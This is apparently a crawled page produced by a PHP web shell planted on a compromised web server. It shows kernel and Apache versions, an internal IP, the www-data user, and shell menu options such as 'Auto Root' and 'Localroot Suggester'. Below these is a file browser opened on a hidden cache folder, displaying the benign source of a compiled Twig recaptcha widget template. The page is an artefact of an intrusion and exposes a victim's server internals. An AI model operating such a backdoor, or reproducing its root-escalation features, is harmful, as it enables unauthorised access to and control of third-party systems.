Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
var /
cache /
.!!QgY /
twig /
5e /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
5ef8d98d69a4fc7c6cb85be52e932fa3.php
16.44
KB
-rwxrwxr-x
2026-05-18 12:54
Save
Rename
<?php use Twig\Environment; use Twig\Error\LoaderError; use Twig\Error\RuntimeError; use Twig\Extension\CoreExtension; use Twig\Extension\SandboxExtension; use Twig\Markup; use Twig\Sandbox\SecurityError; use Twig\Sandbox\SecurityNotAllowedTagError; use Twig\Sandbox\SecurityNotAllowedFilterError; use Twig\Sandbox\SecurityNotAllowedFunctionError; use Twig\Source; use Twig\Template; use Twig\TemplateWrapper; /* @EWZRecaptcha/Form/ewz_recaptcha_widget.html.twig */ class __TwigTemplate_384b987079577b027c93a7fce8d21077 extends Template { private Source $source; /** * @var array<string, Template> */ private array $macros = []; public function __construct(Environment $env) { parent::__construct($env); $this->source = $this->getSourceContext(); $this->parent = false; $this->blocks = [ 'ewz_recaptcha_widget' => [$this, 'block_ewz_recaptcha_widget'], ]; } protected function doDisplay(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 1 yield from $this->unwrap()->yieldBlock('ewz_recaptcha_widget', $context, $blocks); // line 82 yield " "; yield from []; } // line 1 /** * @return iterable<null|scalar|\Stringable> */ public function block_ewz_recaptcha_widget(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 2 yield " "; if ((($tmp = CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["form"] ?? null), "vars", [], "any", false, false, false, 2), "ewz_recaptcha_enabled", [], "any", false, false, false, 2)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 3 yield " "; if ((($tmp = !CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["form"] ?? null), "vars", [], "any", false, false, false, 3), "ewz_recaptcha_ajax", [], "any", false, false, false, 3)) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 4 yield " "; if (((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 4), "size", [], "any", false, false, false, 4) == "invisible") && !CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 4), "callback", [], "any", true, true, false, 4))) { // line 5 yield " "; $context["options"] = Twig\Extension\CoreExtension::merge(CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 5), ["callback" => "onReCaptchaSuccess"]); // line 6 yield " "; $context["attr"] = Twig\Extension\CoreExtension::merge(($context["attr"] ?? null), ["options" => ($context["options"] ?? null)]); // line 7 yield " <script> var onReCaptchaSuccess = function() { var errorDivs = document.getElementsByClassName('recaptcha-error'); if (errorDivs.length) { errorDivs[0].className = ''; } var errorMsgs = document.getElementsByClassName('recaptcha-error-message'); if (errorMsgs.length) { errorMsgs[0].parentNode.removeChild(errorMsgs[0]); } var forms = document.getElementsByClassName('recaptcha-form'); if (forms.length) { var recaptchaSubmitEvent = document.createEvent('Event'); recaptchaSubmitEvent.initEvent('submit', true, true); forms[0].addEventListener('submit', function (e) { e.target.submit(); }, false); forms[0].dispatchEvent(recaptchaSubmitEvent); } }; </script> "; } // line 32 yield " <script src=\""; // line 33 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["form"] ?? null), "vars", [], "any", false, false, false, 33), "url_challenge", [], "any", false, false, false, 33), "html", null, true); yield "\""; // line 34 if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 34), "defer", [], "any", true, true, false, 34) && CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 34), "defer", [], "any", false, false, false, 34))) { yield " defer"; } // line 35 if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 35), "async", [], "any", true, true, false, 35) && CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 35), "async", [], "any", false, false, false, 35))) { yield " async"; } // line 36 yield "></script> <div class=\"g-recaptcha\" data-theme=\""; // line 37 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 37), "theme", [], "any", false, false, false, 37), "html", null, true); yield "\" data-size=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 37), "size", [], "any", false, false, false, 37), "html", null, true); yield "\" data-type=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 37), "type", [], "any", false, false, false, 37), "html", null, true); yield "\" data-sitekey=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["form"] ?? null), "vars", [], "any", false, false, false, 37), "public_key", [], "any", false, false, false, 37), "html", null, true); yield "\""; // line 38 if (CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 38), "callback", [], "any", true, true, false, 38)) { yield " data-callback=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 38), "callback", [], "any", false, false, false, 38), "html", null, true); yield "\""; } // line 39 if (CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 39), "errorCallback", [], "any", true, true, false, 39)) { yield " data-error-callback=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 39), "errorCallback", [], "any", false, false, false, 39), "html", null, true); yield "\""; } // line 40 if (CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 40), "expiredCallback", [], "any", true, true, false, 40)) { yield " data-expired-callback=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 40), "expiredCallback", [], "any", false, false, false, 40), "html", null, true); yield "\""; } // line 41 if (CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 41), "bind", [], "any", true, true, false, 41)) { yield " data-bind=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 41), "bind", [], "any", false, false, false, 41), "html", null, true); yield "\""; } // line 42 if (CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 42), "badge", [], "any", true, true, false, 42)) { yield " data-badge=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 42), "badge", [], "any", false, false, false, 42), "html", null, true); yield "\""; } // line 43 yield "></div> <noscript> <div style=\"width: 302px; height: 352px;\"> <div style=\"width: 302px; height: 352px; position: relative;\"> <div style=\"width: 302px; height: 352px; position: absolute;\"> <iframe src=\"https://"; // line 48 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["form"] ?? null), "vars", [], "any", false, false, false, 48), "ewz_recaptcha_api_host", [], "any", false, false, false, 48), "html", null, true); yield "/recaptcha/api/fallback?k="; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["form"] ?? null), "vars", [], "any", false, false, false, 48), "public_key", [], "any", false, false, false, 48), "html", null, true); yield "\" style=\"width: 302px; height:352px; border-style: none; overflow: hidden;\" > </iframe> </div> <div style=\"width: 250px; height: 80px; position: absolute; border-style: none; bottom: 21px; left: 25px; margin: 0; padding: 0; right: 25px;\"> <textarea id=\"g-recaptcha-response\" name=\"g-recaptcha-response\" class=\"g-recaptcha-response\" style=\"width: 250px; height: 80px; border: 1px solid #c1c1c1; margin: 0; padding: 0; resize: none;\" > </textarea> </div> </div> </div> </noscript> "; } else { // line 64 yield " <div id=\"ewz_recaptcha_div\"></div> <script> (function() { var script = document.createElement('script'); script.type = 'text/javascript'; script.onload = function() { Recaptcha.create('"; // line 71 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["form"] ?? null), "vars", [], "any", false, false, false, 71), "public_key", [], "any", false, false, false, 71), "html", null, true); yield "', 'ewz_recaptcha_div', "; yield json_encode(((CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", true, true, false, 71)) ? (Twig\Extension\CoreExtension::default(CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 71), [])) : ([]))); yield "); }; script.src = '"; // line 73 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["form"] ?? null), "vars", [], "any", false, false, false, 73), "url_api", [], "any", false, false, false, 73), "html", null, true); yield "'; "; // line 74 if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 74), "defer", [], "any", true, true, false, 74) && CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 74), "defer", [], "any", false, false, false, 74))) { yield "script.defer = true;"; } // line 75 yield " "; if ((CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, true, false, 75), "async", [], "any", true, true, false, 75) && CoreExtension::getAttribute($this->env, $this->source, CoreExtension::getAttribute($this->env, $this->source, ($context["attr"] ?? null), "options", [], "any", false, false, false, 75), "async", [], "any", false, false, false, 75))) { yield "script.async = true;"; } // line 76 yield " document.getElementsByTagName('head')[0].appendChild(script); })(); </script> "; } // line 80 yield " "; } yield from []; } /** * @codeCoverageIgnore */ public function getTemplateName(): string { return "@EWZRecaptcha/Form/ewz_recaptcha_widget.html.twig"; } /** * @codeCoverageIgnore */ public function getDebugInfo(): array { return array ( 219 => 80, 213 => 76, 208 => 75, 204 => 74, 200 => 73, 193 => 71, 184 => 64, 163 => 48, 156 => 43, 150 => 42, 144 => 41, 138 => 40, 132 => 39, 126 => 38, 117 => 37, 114 => 36, 110 => 35, 106 => 34, 103 => 33, 100 => 32, 73 => 7, 70 => 6, 67 => 5, 64 => 4, 61 => 3, 58 => 2, 51 => 1, 45 => 82, 43 => 1,); } public function getSourceContext(): Source { return new Source("", "@EWZRecaptcha/Form/ewz_recaptcha_widget.html.twig", "/var/www/v3.cesa.co.za/vendor/excelwebzone/recaptcha-bundle/src/Resources/views/Form/ewz_recaptcha_widget.html.twig"); } }